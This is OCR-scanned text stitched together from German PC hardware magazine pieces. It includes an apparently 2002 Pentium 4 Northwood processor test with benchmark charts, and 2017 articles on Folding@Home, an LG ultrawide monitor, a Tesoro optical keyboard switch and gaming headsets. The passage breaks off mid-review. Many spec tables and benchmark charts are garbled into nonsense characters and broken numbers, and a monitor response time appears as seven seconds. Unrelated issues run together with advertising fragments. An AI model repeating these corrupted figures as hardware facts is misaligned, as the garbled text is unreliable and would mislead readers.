verlassen - die zusätzlichen Transis- 
toren wurden dort verwendet, wo 
der Leistungsgewinn am größten ist. 


Der Pentium 4 ist nun knapp 

15 Monate auf dem Markt. Was 
hat sich bei der SSE2-Optimie- 
rung getan? 

Wir sind sehr zufrieden mit der An- 
nahme der SSE2- Befehlssatz-Er- 
weiterung. Zahlreiche Software-Fir- 
men nutzen die neuen Fáhigkeiten 
des Pentium 4, darunter Lionhead 
mit dem bekannten Spiel Black & 
White, Rage bei Incoming Forces 
oder Delphin bei Motoracer 3. Für 
2002 sind zahlreiche weitere Tite! 
mit Pentium-4-Optimierung ge- 
plant, Inzwischen dürfte es Hun- 
derte Pentium-4-optimierte 
Applikationen geben. 


Es hat lange gedauert, bis Intel 
seinen ersten DDR-Chipsatz vor- 
gestellt hat. Ist damit das Ende 
der Rambus-Ára gekommen? 
Nach wie vor hält Intel an der Ram- 
bus-Plattform für maximale Per- 
formance fest. Inzwischen ist der 
Preisunterschied zwischen Rambus 
und DDR längst nicht mehr so groß, 
wie viele vielleicht glauben. Aber 
auch mit DDR-Speicher lassen sich 
schnelle und zuverlässige Pentium- 
4-PCs bauen. Der Käufer kann nach 
Lust und Geldbeutel wählen. 
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nicht, wenn sie aktuelle Hard- 
ware besitzen. Die neuen Prozes- 
soren sind eher als „Machbar- 
keitsstudie" zu verstehen, spür- 
bare Vorteile bringen sie (noch) 
nicht. Besitzer älterer Hardware 
können das Upgrade in Erwä- 
gung ziehen. Zwar braucht kein 
aktuelles Spiel auch nur annä- 
hernd die Leistung eines 2,2- 
GHz-Pentium 4 oder eines Ath- 
lon XP 2.000+, doch wer seinen 
PC nicht jedes halbe Jahr auf- 
rüsten möchte, kann ein wenig 
höher einsteigen, um für zu- 
künftige Spiele gerüstet zu sein. 
Unser Tipp für bastelfreudige In- 
tel-Fans: Jetzt einen (günstigen) 
Willamette kaufen und später — 
nach weiteren Preissenkungen — 
mit einem Northwood aufrüsten. 


Fines gilt beim Kauf immer: Das 
Wunsch-System sollte ausgewo- 
gen sein. Der schnellste Prozes- 
sor bringt nichts ohne schnelle 
Grafikkarte und umgekehrt. Ein 
Beispiel: Der Pentium 4 2.200 mit 
einer Geforce2 Pro kostet etwa 
900 Euro; ein Pentium 4 1.800 mit 
einer Geforce3 Ti 500 kostet da- 
gegen nur 850 Euro und bringt 
bei unserem aktuellen Spiele- 
Benchmark-Paket wesentlich 
mehr Leistung (siehe Grafik/ 
Prozessorindex auf Seite 88). Ein 
besonders krasses (wenn auch 
nicht reprásentatives) Beispiel ist 
der Unterwasser-Shooter Aqua 
nox: Ab einem Pentium Ш 933 
steigt die Framerate kaum noch — 
selbst ein 1.200 MHz schnellerer 
Prozessor bringt nur wenige Pro- 
zentpunkte mehr Leistung! Hier 
hat die Grafikkarte einen wesent- 


Prozessor hat enorme Reserven, 


lich größeren Einfluss auf die 
endgültige Spielegeschwindig- 
keit. 


Mit der Prozessorwahl ist es 
noch nicht getan. Für die meisten 
Käufer ist es mindestens genauso 
schwer, die richtige Plattform zu 
finden. Zur Wahl stehen im Mo- 
ment vier aktuelle Chipsátze und 
zwei Speicherarten: Rambus- 
Speicher (RDRAM) ist in den 
letzten Wochen billiger gewor- 
den, aber entsprechende (Kom- 
plett- Rechner sind immer noch 
rund 10 bis 20 Prozent teurer als 
vergleichbare Systeme. Boards 
mit Sis-645-Chipsatz sind mit 
PC333 prinzipiell genauso 
schnell, zwei aktuelle Platinen 
liefen im Testlabor aber nicht zu- 
verlässig (siehe Seite 48). VIA hat 
mit dem P4X266A einen relativ 
Chipsatz im Pro- 
gramm. Wegen eines Lizenz- 
streits mit Intel riskiert es aber 


schnellen 


Die aktuellen Prozessoren 


Mit dem Northwood bringt Intel schon den zweiten 0,13 
spätestens im zweiten Quartal mit dem „Thoroughbred“ 


Prozessor PA4-Northwood 
On-Chip-Cache gesamt 
L2-Cache-Größe 
L2-Cache-Busbreite 
Li-Befehlscache 
Li-Datencache 
Spannung 
Transistoren 
Die-Größe 

FSB 

Taktfrequenzen 
Herstellungsprozess 
Interface 
Befehlssatz-Erweiterung | MMX, SSE, SSE2 


100 MHz 008 


P4-Willamette 
~350 Kilobyte 


Celeron (Tualatin) 


42 Millionen 


217 mm? 80 mm? 
100 MHz ODR 100 MHz 
1.300-2.000 MHz 1.200 MHz 
0,18 0,13 
| Sockel 423/478 Sockel 370 
MMX, SSE, SSE2 MMX, SSE 


Ich werde das Gefüh! nicht los, dass Intel erst jetzt 
den „echten“ Pentium 4 präsentiert hat - 512 
KByte L2-Cache, anstándige Benchmark- Werte, 
der schlanke Sockel 478, die richtungsweisende 
0,13-Mikrometer-Produktion. Der Northwood- 


sentlich bessere Alternative als der Willamette- 
P4, der wohl etwas zu früh als Pentium-Ill-Nach- 
folger ausgelobt wurde. Viele Spieler haben sich in 
der Willamette-Ára für einen AMD-Prozessor ent- 
schieden. Northwood könnte das wieder ändern. 


„Northwood ist der echte Pentium 4. Er ist der 
stärkste Konkurrent zum Athlon XP." 


er ist die we- 


Christian Gögelein 
Redakteur Bereich Prozessoren 


kaum ein Mainboard-Hersteller, 
ein P4X266A-Board auf den 
Markt zu bringen. Einen guten 
Kompromiss aus Preis, Leistung 
und Stabilität bieten Platinen 
mit Intels 845D-Chipsatz, die 
mit DDR-Speicher arbeiten. Fast 
jeder Hersteller hat ein Board 
im Programm. 


Wie geht es bei Intel weiter? 
Nach einer internen Intel-Road- 
map erreicht der P4 mit North- 
wood-Kern im zweiten Quartal 
die 2,4-GHz-Marke, im dritten 
Quartal peilt Intel 2,53 GHz an; 
dann allerdings mit einem 
Front-Side-Bustakt von 133 MHz 
bei vierfacher Datenrate, also 
effektiven 533 MHz. Im vierten 
Quartal wird Intel wahrschein- 
lich einen neuen Celeron auf 
Basis des Pentium 4 präsentieren 
— und der Pentium Ш wird end- 
gültig verschwinden. 

CHRISTIAN GÓGELEIN 


-Mikrometer-Prozessor. AMD will 
-Prozessor nachziehen. 


Athlon XP Thunderbird 


384 Kilobyte 384 Kilobyte 
256 Kilobyte 256 Kilobyte 
64 Bit 64 Bit 

64 Kilobyte 64 Kilobyte 
64 Kilobyte 64 Kilobyte 
175V 175V 

37,5 Millionen 37 Millionen 
128 mm? 1120 mm? 

133 MHz DDR 100, 133 MHz DDR 
13332667 MHz — 850-1200 MHz 
048 0,18 

Sockel À Sockel À 
MMX, 30 Now Prof. MMX, 3D Now 
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Pentium 4 Northwood [TEST H 


Leistung: | P4 vs. XP 


Leistung: prm Leistung: ex 


Settings: Win98 St 256 MB PC266/RDRAM 


Prozes soren ees, Prozes soren Pepe qme rent SCH 


AMD: Epox BKMA+, VIA 4inl 4.264. AMD: Epox BKHA+, VIA 4101 4 36a. 

Unreal Tournament 4.32 (benchmark.dem) F.A. 4 K.2 Ge ar 
10 20 30 40 50 60 70 80 90 100 10 120 130 FPS: |0 
Northwood 2,2 (850 __ 123 
Northwood 2,0 (1850) 
Northwood 2,2 (18450) 
Willanette 2,0 (1850) 
Wilamette 1,8 (850) 
Pentium lil 933 (i815) 


n stent iata Erëm: spear Faasi spelsar. 


шге: Dee, 4.32 (benchmark.dem) 


Willamette 1,8 (i850) 


Pentium HI 933 (1815) | 
Í ажем weng ` burg eet u ar 


F.A. K K.2 (vga.dm3) 


Auflösung: 


800 


20 30 4 50 60 70 80 90 100 10 10 "o x600 |! 30 40 ТИ 90 100 mo uo 
Е ХР 2.000+ 122 |2 
E en тшшш. f 


Athlon XP 1.900+ DÉI |23 
Mreezercg ënnen H 
Athlon XP 1.800+ 
Athlon 1.400C 
~ 
Athlon 1.000С 


I 
` Fazit: Unreal Tournament lechzt nach Speicherdurchsatz. 


Der Northwood kann sich deutlich gegen einen Willamette- 
Prozessor absetzen, jedes Megahertz bringt mehr Frames. 


= Fazit: Das ältere Open-GL-Spiel AK 2 drängt unser Pro- 
zessor-Testfeld etwas enger zusammen. Unterschiede sind 
zwar noch messbar, fallen aber deutlich geringer aus. 


Leistung: пинти сананан] ШЕСИ Fr 


Settings: Win98 SE 256 MB PC266/RDRAM, 
Geforce3, Det. 2311, SB Livel, AGP Ap. Size 


128 MB; Intet Asus PAT-E/P4B266, 3.20.1008, rper em ee po 
rozessoren : rozessoren 


AMD: Epox BKHA», VIA 4101 4.368. AMD: Epox 8&HA», VIA Am 4.363. 


Max-Engine 1 E (PCGH CPU-Demo) окы ih lra "ee PC une Hardware) 
FPS: |0 10 30 40 50 60 т PPS: |0 60 10 n | 
Northwood 2,2 (1850) [3] 163 i Northwood 2,2 (i850) i 
Northwood 2,0 (1850) | Northwood 2,0 (1850) | 
— | — | 
Northwood 2,2 (i845D) i Northwood 2,2 (i845D) i 
L——— i — - - | 
Willamette 2,0 (1850) ! Willamette 2,0 (1850) | 
EN I p" i 
Willamette 1,8 (1850) | Willamette 1,8 (1850) i 
L—— | e s | 
Pentium III 933 (1815) j I i Pentium III 933 (1815) 
Auflösung: I Schlecht spielbar LL d bia wéiee Auflösung: |} Schlecht spielbar Bedingt veer 
800 Max-Engine 1.02 (PCGH CPU-Demo) 800 Aquanox (b 12 r PC Games Hardware) 
jo 20 30 40 50 60 70 0 60 10 80 
: l ! n 1 
:600 р Athlon XP 2.000+ 5816: i 1600 Athlon XP 2.000+ Gr 16i 
— l i — H 
Athlon XP 1.900+ ET ze | Athlon XP 1.900+ 75 | 
Athlon XP 1.800+ 55 |56! i Athlon XP 1.800+ А 5i 
Athlon 1400€ | | Athlon 1.400€ DI 175 | 
Athlon 1.000C i | | Athlon 1.000C [G |75 | 
Lá | | | L———... , i 
i i i Duron 900 Ul] |75 
H Schlecht sta Lu the fär spater I KEN па wichte fisis gie 


` Fazit: Der erste Spiele-Benchmark, den der neue Pentium 4 
klar gewinnt. Hier macht sich der zusätzliche L2-Cache positiv 
bemerkbar. Der 845D-Rechner verliert kaum an Boden. 


= Fazit: Ein extremes Beispiel: Aquanox ist mit einer DirectX-8- 
Karte nur grafiklimitiert; selbst die langsamen Prozessoren 
(Pentium Ill 933/Duron 900) können gut mithalten. 
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Infrastruktur 


Boards, RAM, Eingabeg 


te, Festplatten, SSDs, Netzt 


Stephan Wilke 
Community-Manager 
E-Mail: sw@pcgh.de 


Kommentar 


Die IT-Technik entwickelt sich weiter — 
Zeit, etwas Sinnvolles damit zu tun. 


Lehnen Sie sich mal für einen Moment zurück 
und denken Sie der Reihe nach an alle Men- 
schen in Ihrem Familien- und Freundeskreis. 
Versuchen Sie als Nächstes, sich an alle Per- 
sonen zu erinnern, die Ihnen im Laufe Ihrer 
gesamten Karriere und Schulzeit begegnet sind. 
Zoomen Sie nun gedanklich auf eine Weltkarte 
heraus, erinnern Sie sich an alle Länder, die Sie 
jemals besucht haben, und überlegen Sie, wie 
viele Millionen Menschen dort leben. Wenn Sie 
sich trauen, dann versuchen Sie sich nun auszu- 
malen, wie viele Menschen sich momentan auf 
allen Kontinenten dieses Planeten befinden. 
Es sind über sieben Milliarden, eine kaum zu 
begreifende Zahl. Stellen Sie sich nun vor, Sie 
hätten eine Briefmarke zur Hand und könnten 
alle diese Menschen auf dieses kleine Stück Pa- 
pier quetschen. Dieses Bild ist absurd, doch so 
viele Transistoren arbeiten heute in Prozessoren 
und Grafikchips auf einer vergleichbaren Fláche 
zusammen. Keine Science-Fiction, keine Mach- 
barkeitsstudien — die Produkte stehen für jeden 
von uns frei erháltlich im Gescháft. 


Diese faszinierenden Wunderwerke der Technik 
sind für mehr als Spam-E-Mails, Katzenvideos 
oder etwas Pixelblut geschaffen. Falls Sie dieser 
Meinung sind, dann dürfte Ihnen das Konzept 
von Folding € Home gefallen. Die geballte Re- 
chenleistung von über das Internet verbundenen 
PCs wird für Grundlagenforschung genutzt, wel- 
che die Bekámpfung von Krankheiten wie Alzhei- 
mer und Krebs ermöglichen soll. Anlässlich des 
Welt-Krebstages startet das PCGH-F@H-Team 
zum 4. Februar eine neue Aktion und wird eine 
Woche lang versuchen, besonders viel Rechenleis- 
tung für das Projekt der Stanford University zur 
Verfügung zu stellen. Nur wenige Teams der Welt 
steuern mehr zu dem Projekt bei. Neueinsteiger 
sind stets willkommen, mehr Informationen erhal- 
ten Sie unter: www.pcgh.de/faltwoche2017 
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Satte 3.840 x 1.600 Pixel auf 38 Zoll: 

Das LG 38UC99-W ist die erste Wahl 
für Spieler, denen 3.440 x 1.440 Pixel 
nicht genug sind. 


Test: Ultimatives Ultrawide von LG 


1600p-Auflósung bei 38 Zoll und 99 Prozent sRGB- 
Abdeckung dank werkseitiger Kalibrierung sind 
beeindruckende Daten des LG 38UC99-W. Das kos- 
tet aber auch. 


er grofse Ultrawide-Monitor überzeugt zu- 
De. optisch: Der Look in gebürstetem 
Aluminium sowie die Vorderseite des Standfu- 
ßes sind ein Hingucker. Auch die Auflösung ist 
mit 3.840 x 1.600 Pixeln beeindruckend. Damit 
erreicht das Panel trotz der Übergröße eine gute 
Pixeldichte von über 110 Pixel pro Zoll - andere 
34-Zöller im Ultrawide-Format haben mit einer 
1440p-Auflösung nahezu dieselbe Dichte. Wir 
messen eine maximale Helligkeit über 300 cd/m? 
und ein Kontrastverhältnis von 983:1, typische 
Werte für ein gutes IPS-Panel. Die Ausleuchtung 
ist nahezu vollständig gleichmäßig und Farbab- 
weichungen sind dank Kalibrierung auf akzep- 
tablem Niveau für professionelle Grafikarbeit. 


Mit Freesync wurde auch an Gamer gedacht, 
allerdings ist das Intervall zwischen 52 Hz 
und 75 Hz nicht gerade grofs. Der Input Lag 
im Vergleich zur CRT-Róhre ist mit 10 ms wie- 
derum umso mehr spieletauglich. Ebenso die 


Reaktionszeit von etwa 7 Sekunden in den 
Mischfarben. Wer mehr Wert aufs Gaming legt, 
ist mit einem Modell mit 144 Hz, das nur halb so 
viel kostet, sicherlich besser bedient. Für Spiele 
ist die Farbtreue des Panels egal. 


Ultimativ ist auch die Ausstattung. Per USB-C 
etwa wird nicht nur der interne Hub betrie- 
ben, er überträgt auch das Videosignal oder lädt 
Notebooks mit entsprechender Buchse. Auch 
das Onscreen-Menü hat uns gefallen. (mc) 


LG 38UC99-W 


Fazit: Nicht unbedingt für Pro-Gamer, aber für anspruchs- 
volle Gelegenheitsspieler unterschiedlicher Genres ist so 
ein Ultrawide-Monitor noch immer gut geeignet. Erst recht, 
wenn er gleichzeitig zum Arbeiten verwendet werden soll. 


Hersteller: LG Electronics 

Web: www.lg.de 

Preis: Ca. € 1.340,- | Preis-Leistung: Ausreichend 
O Allrounder Ausstattung | 1,47 
© Gute Bildqualität Eigenschaften | 2,00 
© So teuer wie zwei Monitore Leistung 1,17 
PCGH-Preisvergleich www.pcgh.de/preis/1501656 
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Innovation: Tesoro präsentiert optischen Tastenschalter 


Mit Tesoros Excalibur Spectrum SE, einem nur in 
Amerika erhältlichen mechanischen Keyboard, 
gibt der neue Tesoro Optical Switch sein Debüt. 


ie mit einer RGB-Einzeltastenbeleuchtung 

(10 Effekte und dynamische Beleuchtungs- 
aufzeichnung) sowie Makro-Direktaufzeichung 
ausgestattete Excalibur Spectrum SE ist die erste 
mechanische Tastatur von Tesoro, die mit den 
neuen optischen Switches bestückt ist. Anders 
als herkömmliche Tastenschalter arbeitet der 
Tesoro Optical Switch nicht mit der Kontaktauf- 
lagerung von zwei Metallplättchen, sondern 
nutzt einen Laserstrahl (siehe Bild rechts oben). 
Der wird beim Auslösen unterbrochen, wo- 
durch das Auslösesignal zustande kommt. 


Ө THUNDERBOLT. RACE 


S : AURA (intel) intel; 
J Gigabit RGB ОРТАМЕ» E 


2 
LED ^ inside inside" 


Der Vorteil dieser auf der CES 2017 präsentierten 
Weltneuheit ist laut Tesoro die Tatsache, dass mit 
einem digitalen und nicht mit einem analogen 
Signal gearbeitet würde, welches nicht mehr ge- 
wandelt werden müsse. Das mache den Switch 
schnell - Tesoro wirbt mit einer Zeit von 1 ms 
zwischen dem Auslósen und der Verarbeitung 
im PC. Dazu kommt, dass aufgrund fehlender 
Metallteile (die Rückführfeder liegt im Stempelge- 
häuse) keine Korrosion, also keine Probleme mit 
Luftfeuchtigkeit oder Schweiß entstehen können. 
In Deutschland soll der bei ersten Tests gefühlt 
wirklich sehr schnell auslösende Tesoro Optical 
Switch Blue (Feedback: haptisch/akustisch) mit 
der Tesoro Gram SE Spectrum Optical fur 149 
Euro im Q2 2017 sein Debüt geben. (bk/fs) 


www.asrock.com 


The specification is subject to change without notice. 
The brand and product names are trademarks of their respective companies. 
Any configuration other than original product specification is not guaranteed. 
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Hor zu 


In dieser Ausgabe bieten wir Ihnen eine aktu- 
elle Marktübersicht handverlesener Headsets 


von 60 bis 300 Euro. Exklusiv dabei: Beyer- 
dynamics MMX 300 Gen. 2 und Custom Gan 


WX Jir haben uns für Sie zum 
Beginn des Jahres beson- 
dere Mühe gegeben und haben 
eine Reihe besonders interessanter 


Headsets für unsere Marktüber- 
sicht zusammengetragen, die wohl 


für jeden Geschmack etwas zu bie- 
ten hat. Wir beginnen bei knapp 
60 Euro und einem sehr überzeu- 
genden Preis-Leistungsverhältnis, 
streuen diverse Mittelklasse-Geräte 
mit hohem Wohlfühlfaktor hinzu 
und runden das Testfeld mit Fea- 
ture-schweren — Gaming-Headsets 
ab. Für die feinsinnigen Stereo-Ge- 
niefser bieten wir zudem exklusiv 
den ersten Test zu Beyerdynamics 
jüngst auf der CES vorgestellten 
Headsets, dem Custom Game und 
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MMX 330 Generation 2. In dieser 
Marktübersicht finden Sie keine 
schlechten Geráte, sondern nur 
Handverlesenes für verschiedene 
Vorlieben und Geschmäcker. 


Lioncast LX50: Die neue Preis-Leis- 
tungs-Referenz? Es ist wirklich er- 
staunlich, welche Qualität Lioncast 
mit dem LX50 für gerade einmal 
knapp über 50 Euro zu liefern im- 
stande ist. Das rund 260 Gramm 
leichte Stereo-Headset ist für die 
Preisklasse ausgesprochen gut ver- 
arbeitet, die verwendeten Materi- 
alien wirken optisch wie haptisch 
hochwertig. Selbst kleine Details 
wie die Nähte am Kopfband, die 
Spaltmaße und die Entgratungen 


der Metallteile sind sehr sauber, 
nirgendwo stören Klebereste oder 
unschöne Bearbeitungsspuren das 
Auge. Doch damit nicht genug, das 
LX50 ist außerdem bequem: Die an- 
genehm üppige und mit Kunstleder 
überzogene Polsterung von Bügel 
und Hörern lässt das Headset auch 
nach mehreren Stunden bequem 
auf dem Kopf ruhen. Die Ohrpols- 
ter können zudem gewechselt, das 
nylonummantelte Kabel und das 
flexible und mit Poppschutz aus- 
gestattete Mikrofon abgenommen 
werden. Im Inneren der geschlosse- 
nen Hörermuscheln, die zudem mit 
hübschen Deckeln aus gebürste- 
tem Aluminium versehen wurden, 
verbergen sich jeweils die 53-mm- 


Treiber, die dem Lioncast LX 50 
zu einem erfreulich guten und 
ausgewogenen Klang verhelfen. 
Der Sound des günstigen Headsets 
ist neutral abgestimmt, weder Bass 
noch Höhen wirken überbetont - 
dabei ist das Klangbild außerdem 
verhältnismäßig detailreich. Eine 
solche Klangqualität bei 
recht linearen Frequenzverlauf ha- 


einem 


ben wir in dieser Preisklasse bis- 
lang noch nicht erleben dürfen - 
jedenfalls nicht bei einem Headset, 
welches neben einem mit einem 
Einsteiger-Kopfhörer vergleichbar 
guten Klang außerdem ein Mikro- 
fon bietet, das eine sehr anständige 
Sprachqualität liefert. Als Zubehör 
gibt es außerdem einen Satz Velour- 
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REPUBLIC UF 
GAMERS 


Das Lioncast LX50 bietet für kaum mehr als 50 Euro eine überzeugende Klangquali- 
tät, ein gutes Mikro, hohen Komfort und sogar noch etwas Zubehör - klasse! 


polster zum Wechseln. Wollen Sie 
nicht mehr als ein Taschengeld für 
ein Headset investieren, legen wir 
Ihnen das Lioncast LX50 hiermit 
ans Herz. 


Arctic P533 Penta: Auffälliges Ste- 
reo-Headset zum fairen Preis. Schät- 
zen Sie eine etwas auffälligere Op- 
tik als jene des dahingehend recht 
zurückhaltenden Lioncast LX 50, 
nehmen Sie doch einmal das Arctic 
P533 Penta in Augenschein: Das ins 
Auge stechende Äußere des Head- 
sets ist mit vielen metallischen 
Applikationen versehen, die nicht 
nur optisch auffällig sind, sondern 
tatsächlich auch eine mechanische 
Funktionalität besitzen. Jeder Scha- 


www.pcgameshardware.de 


nier, jedes Gelenk und jeder Dreh- 
knopf hat einen Nutzen. So wird 
beispielsweise das Mikrofon durch 
Herunterklappen des aus doppel- 
ten Metallträgern gefertigten Arms 
aktiviert, kann zudem in der Länge 
angepasst und durch zwei funktio- 
nale Gelenke sehr präzise vor dem 
Mund platziert werden. An der an- 
deren Hörerseite befindet sich ein 
Drehregler für die Laustärke. Die 
sehr dicke und weiche Kunstleder- 
polsterung an den Hörern und dem 
flexiblen Federstahlbügel erlaubt 
stundenlanges Tragen des mit rund 
360 Gramm relativ schweren Head- 
sets. Selbst Brillenbügel stören 
nicht. Im Inneren der geschlosse- 
nen Hörermuscheln ist pro Seite je- 


Das 70 Euro günstige Roccat Cross ist klein, leicht und unauffällig. Es ist gleichsam 
für den mobilen Betrieb und heimischen Gebrauch ausgelegt. 
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Das Sound Blaster X H5 bekam mit der Tournament Edition eine behutsame Überar- 
beitung und ist ein stabiler und flexibler Allrounder. 


Das Steelseries Arctis 5 bietet als einziges Gerät im Test eine RGB-Beleuchtung. Das 
USB-Headset klingt zudem sehr gut und bietet einen praktischen Chat-Mixer. 


Das GSP 350 vereint klassische Qualitäten wie guten Sound und ein sehr gutes Mik- 
rofon mit Gaming-Features wie USB, kräftiger Bassbetonung und Surround-Sound. 


60 PC Games Hardware | 03/17 


weils ein schräg stehender 40-mm- 
Treiber verbaut, die zusammen ein 
angenehmes Klangbild ohne her- 
vorstechende Betonungen liefern. 
Der Detailgrad geht in Ordnung, 
fällt jedoch gegenüber dem ähn- 
lich bepreisten und erstaunlich gut 
klingenden Lioncast LX50 etwas 
ab, auch fehlt es den Höhen ein we- 
nig an Spritzigkeit, der Sound wirkt 
daher etwas dumpf. Das Mikrofon 
ist prinzipiell in Ordnung, neigt 
aber ohne zusätzliche Mikrofon- 
verbesserungen, etwa durch eine 
Soundkarte oder gute Onboard- 
Sektion, zum Rauschen und nimmt 
Stimmen recht natürlich, aber 
etwas zu leise, auf. Dennoch ist 
die Klangqualität des Arctic P533 
Penta für den Preis überzeugend. 
Zusammen mit der stabilen Trans- 
porttasche, die dem P533 beiliegt, 
ist das Gesamtpaket für rund 60 
Euro ein faires Angebot. 


Roccat Cross: Dezent-leichtes und 
mobiltaugliches Headset. Mit dem 
Cross möchte Roccat all jene an- 
sprechen, die sich nicht nur ein 
Headset zum Spielen, sondern 
auch ein Gerät für den mobilen Ge- 
brauch unterwegs wünschen und 
dafür nicht zweimal Geld ausgeben 
möchten. Für rund 70 Euro ist das 
angenehm schlicht gehaltene und 
nicht einmal 190 Gramm leichte 
Roccat Cross erhältlich. Das Head- 
set kommt für die beiden Einsatz- 
zwecke mit zwei unterschiedlichen 
Kabeln und kann so umfunktio- 
niert werden: Für den mobilen Ein- 
satz unterwegs liegt ein zur Vermei- 
dung von Reibungsgeräuschen mit 
glattem Kunststoff ummanteltes 
und 1,2 Meter kurzes Kabel samt 
Vierpolklinke bei, das zudem mit 
einem kleinen Inline-Mikrofon und 
Start/Stopp-Knopf ausgestattet ist. 
Am zweiten, 2,35 Meter langen und 
mit stabilem Nylon ummantelten 
Kabel ist das eigentliche Mikrofon 
befestigt; dieses endet wie beim 
PC-Einsatz üblich mit zwei dreipo- 
ligen Klinkensteckern. Der schma- 
le Bügel und die kleinen Ohrpols- 
ter bieten dank Memory-Schaum 
und angenehmen Kunstleder dank 
des geringen Gewichts einen or- 
dentlichen Komfort, der flexible 
Federstahlbügel ist allerdings sehr 
schmal, etwas zu nachgiebig und 
verbiegt bei mutwilligem Kraftein- 
satz ein wenig. Beim Tragen ist der 
Bügel zudem relativ deutlich spür- 
bar. Trotz der geringen Ausmaße 


sind beim Roccat Cross grofse 
50-mm-Treiber verbaut. Diese lie- 
fern einen recht stark bassbetonten 
Sound, der zudem bei der Detailab- 
bildung ein wenig abfällt. Dennoch 
ist das Klangbild durchaus gefillig, 
wenn Sie denn eine solche - auch 
bei hóherpreisigen mobilen Ge- 
räten häufig anzutreffende - Ab- 
stimmung mögen, denn bis auf den 
deutlich im Vordergrund stehen- 
den Bass spielt das Roccat Cross 
ausgewogen, wenn auch etwas arg 
gemütlich auf. Beim Sprechen un- 
terwegs erfüllt das Inline-Mikrofon 
seinen Zweck. Das flexible Bügel- 
mikrofon für den Gebrauch am 
PC ist tatsächlich mehr als ordent- 
lich, nimmt Stimmen deutlich und 
natürlich auf und isoliert effektiv 
Störgeräusche. 


Creative Sound Blaster X H5 TE: 
Sehr gutes Headset für alle Lebens- 
lagen. Das Sound Blaster H5 hat 
jüngst eine kleine Überarbeitung 
bekommen und trägt seitdem den 
Namenszusatz „Tournament Edi- 
tion“. Das klassische und mit 270 
Gramm recht leichte Stereo-Head- 
set gehört zu den überzeugends- 
ten Geräten der Mittelklasse und 
ist bereits um 90 Euro erhältlich. 
Das H5 überzeugt durch eine sehr 
robuste und saubere Bauweise; die 
stark an Beyerdynamic-Kopfhörer 
(und auch die in diesem Artikel 
getesteten Headsets) erinnernde 
Aufhängung ist sehr stabil, der fle- 
xible Federstahlbügel gar so kräftig 
und beweglich, dass wir das H5 
als das wohl widerstandsfähigstes 
Gerät in diesem Test bezeichnen 
würden. Die Robustheit geht dabei 
mit einem hohen Komfort Hand 
in Hand, die sehr anschmiegsame 
und üppig dimensionierte Kunst- 
lederpolsterung und das relativ 
geringe Gewicht lassen das Crea- 
tive-Headset auch nach Stunden 
bequem sitzen. Befeuert wird das 
H5 durch zwei angeschrägt ste- 
hende 53-mm-Treiber, die einen 
sehr neutralen und detaillierten 
Sound liefern, der durchaus auch 
Musikfreunde überzeugen kann. 
Der lineare Frequenzverlauf ohne 
merkliche Betonungen, die hohe 
Detaildichte und gute Räumlich- 
keit bieten auch beim Spielen Vor- 
teile: Viele andere Spieler-Headsets 
schlucken aufgrund einer kráfti- 
gen Bassbetonung und mäßiger 
Detailabbildung feine Geräusche; 
in einigen Fällen wird versucht, 
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diese Details durch einen zuschalt- 
baren „Schrittgeräusche“-Modus 
oder eine ähnliche künstliche und 
Sound-verfärbende ^ Frequenzbe- 
tonung wieder aus dem Klangtep- 
pich zu schälen, häufig mit mäßi- 
gem Erfolg. Das Sound Blaster H5 
bildet solcherlei Details einfach 
durch die erfreulich hohe Genauig- 
keit ab. Neben den Treibern liefert 
auch das Mikrofon einen natürli- 
chen und ausgewogenen Klang, die 
Stimme wirkt sauber und voll. 


Steelseries Arctis 5: Überzeugendes 
USB-Headset der Mittelklasse. Das 
Steelseries Arctis 5 ist das erste 
und günstigste USB-Gerät in dieser 
Marktübersicht und bildet außer- 
dem das Zentrum von Steelseries‘ 
neuer Headset-Reihe. Diese um- 
fasst neben Arctis 5 das Klinken- 
Headset Arctis 3 und das kabellose 
Arctis 7. Beim Arctis 5 handelt es 
sich prinzipiell um ein typisches 
Gaming-Headset samt farbiger LED- 
Beleuchtung und optionalem Sur- 
round-Sound, allerdings weist das 
Steelseries-Headset neben diesen 
Features praktisch keine der häufig 
vertretenen Schwächen typischer 
Gaming-Headsets auf. Da wäre bei- 
spielsweise die gute Verarbeitung 
zu nennen: Das Arctis 5 ist zwar 
beinahe komplett aus Kunststoff 
gefertigt, wirkt jedoch außeror- 
dentlich stabil. So ist der Bügel sehr 
großzügig dimensioniert und bei 
dennoch flexibel, Aufhängungen 
und Gelenke sind metallverstärkt. 
Bei den Plastikteilen fällt hier und 
dort eine kleine Unsauberkeit auf, 
etwa durch Bearbeitungsrückstän- 
de oder Grate, generell sind Optik 
und Haptik jedoch überzeugend. 
Am Tragekomfort gibt es wenig 
zu kritisieren: Die knapp über 300 
Gramm des Arctis 5 verteilen sich 
auch aufgrund des Kopfbandes 
sehr gleichmäßig, die weichen, 
mit Kunststoffgeflecht überzoge- 
nen Polster nehmen die Ohren 
angenehm auf und schirmen Au- 
ßengeräusche effektiv ab. Darun- 
ter ist pro Seite ein angeschrägter 
40-mm-Treiber verbaut. 
spielen sauber und detailreich auf, 


Diese 


eine recht kräftige Bassbetonung 
stellt den Tiefton im ansonsten an- 
genehm ausgewogenen Klangbild 
ein wenig in den Vordergrund. 
Das Arctis 5 kann mittels der Soft- 
ware Steelseries Engine 3 zudem 


in Sachen Klang mittels Equalizer 
angepasst werden, außerdem lässt 
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sich hier die LED-Beleuchtung 
konfigurieren und der gelungene 
Surround-Sound via DTS Headpho- 
ne X und Mikrofonverbesserungen 
zugeschaltet Praktisch: 
Direkt am Kabel ist eine winzige 


werden. 


Tischfernbedienung angebracht, 
welche die stufenlose Abmischung 
zwischen Chat- und Audiolautstär- 
ke zulässt. Der klassische Lautstär- 
keregler befindet sich direkt am 
Headset, hier kann außerdem das 
versenkbare und gut klingende Mi- 
krofon stummgeschaltet werden. 
Optional kann das Arctis 5 auch 
per Klinke an einer Analogquelle 
betrieben werden, beispielsweise 
für den mobilen Einsatz. 


Sennheiser GSP 350: USB-Headset 
mit tollem Mikro und fettem Sound. 
Sie suchen ein sehr bequemes USB- 
Headset, welches neben einem de- 
taillierten, warmen Klang mitsamt 
kräftigem Bass auch ein wirklich 
gutes Mikrofon für die Online- 
Kommunikation bietet und dazu 
bezahlbar bleibt? Das Sennheiser 
GSP 350 kónnte in diesem Fall eine 
Überlegung wert sein. Das Headset 
wiegt rund 275 Gramm und sitzt 
sehr angenehm, wenn auch ein we- 
nig straff auf dem Kopf. Die grofsen 
und mit weichem Memory-Schaum 
gefütterten Ohrpolster bieten trotz 
schmaler Gestaltung viel Platz für 
die Ohren, der breite Bügel verteilt 
das mittlere Gewicht des GSP 350 
effektiv über eine große Fläche. 
Die geschlossenen Hórermuscheln 
isolieren ausgesprochen gut, es 
